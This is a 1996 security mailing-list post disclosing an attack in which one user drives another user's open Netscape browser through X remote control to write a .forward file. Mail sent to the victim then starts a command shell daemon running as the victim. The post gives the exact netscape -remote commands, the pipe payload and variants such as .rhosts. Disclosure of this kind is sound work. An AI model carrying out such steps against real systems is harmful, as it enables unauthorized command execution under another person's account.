Netscape remote control : a small example

[Gilles.Soulet () cst cnes fr (Gilles Soulet)]

At 12:35 27/05/1996 +0800, Justin Beech wrote:

[..8<..text snipped...]
> OS or desktop design, not a software vendor -- and I dont see this thread
> raising any new security issues there, so can we drop it please?

Really ?

X servers security problems are now well know by our community, but what
said Martin
is what we're facing now is an unusual threat, quiet similar to the "Allow
SendEvents"
of Xterm.

X servers are not designed to launch processes on the machines they're
running on.
So if you leave your X screen opened, the risks are limited to the actions
related to
the X server : Screen dumping or faking, and Keystroke grabbing, for the
most popular.

The hability to control Netscape remotly introduces NEW THREATS, that one
can depict
by relating this tiny scenario I experimented last day :

One user A is connected to a central computer COMP1 (for example, an
academic SPARC center)
using a remote TX or a PC with X server. The server doesn't provide any
COOKIE mecanism, so
user A has to do (at least) xhost +COMP1. A is using Netscape v1.2 or higher.

One other user B has a legitimate login on COMP1 ; operating from this
machine, he has
rights to connect to the Xserver of A. A KNOWS that X is insecure, so he
never strikes
any password on his screen without using something "a la XgrabServer". But
he doesn't
know about the remote control of Netscape (who knows, in fact ?). COMP1 is a
"secured"
machine, which doesn't use any remote/login remote/command (creating a
.rhosts will
have no effect).

B launches a tiny HTTP server providing only one file : hack.txt; this file
is an
ASCII text containing :

"|/tmp/tinyTelnetd -p6666"

"tinyTelnetd" is a small daemon designed to :
 - bind and accept TCP connexions from an unprivileged port
 - discard any data coming from the standart input
 - lauch commands coming from any peer client connected

A's gone to lunch, but didn't kill his Netscape browser. B launches his HTTP
server on a high port(say 8000), then assign its shell DISPLAY variable the
value
of user's A X server, and does :

> netscape -remote "openURL(http://COMP1:8000/hack.txt)"

This loads the small hack text ("|/tmp/tinyTelnetd -p6666") in main
Netscape's window.
Then B does :

> netscape -remote "saveAs(/home/A/.forward)"

A has now a great .forward file on its home directory. Mailing to A will launch
the pseudo telnet daemon, owned by A. B has just to connect to the
COMP1:6000 tcp
port, the daemon will fork() any commands with A rights.

This attack works, supposed that :

 - A must be at lunch (he doesn't want to see the bad page loaded in main
Window !)
 - .forward must not previously exists (or you'll have to act on the
confirmation window)
 - Sendmail must be able to fork() : another good reason to put a
   "Mprog, P=/bin/false" directive in sendmail.cf !!!
 - The tiny daemon must discard all data transmited by sendmail via the pipe

Of course, there are many variants. For example, if COMP1 uses rlogin
daemon, creating
a .rhosts file on A home directory was much worth it. User B could also
operate from another
machine (not COMP1) if A was silly enough to let his X server open to
anothers machines.
And finally, if A was root, ... KABOOM !!!

Allowing remote control of an X is obviously something dangerous for security
(as says Netscape com. on its server's page related to this stuff). Was the
feature
really necessary ? Probably ; but not in all cases.

Now people have to know what they're facing ... If WE are able to exploit
it, what are
the "bad guys" going to do with that ?

  ~Gillus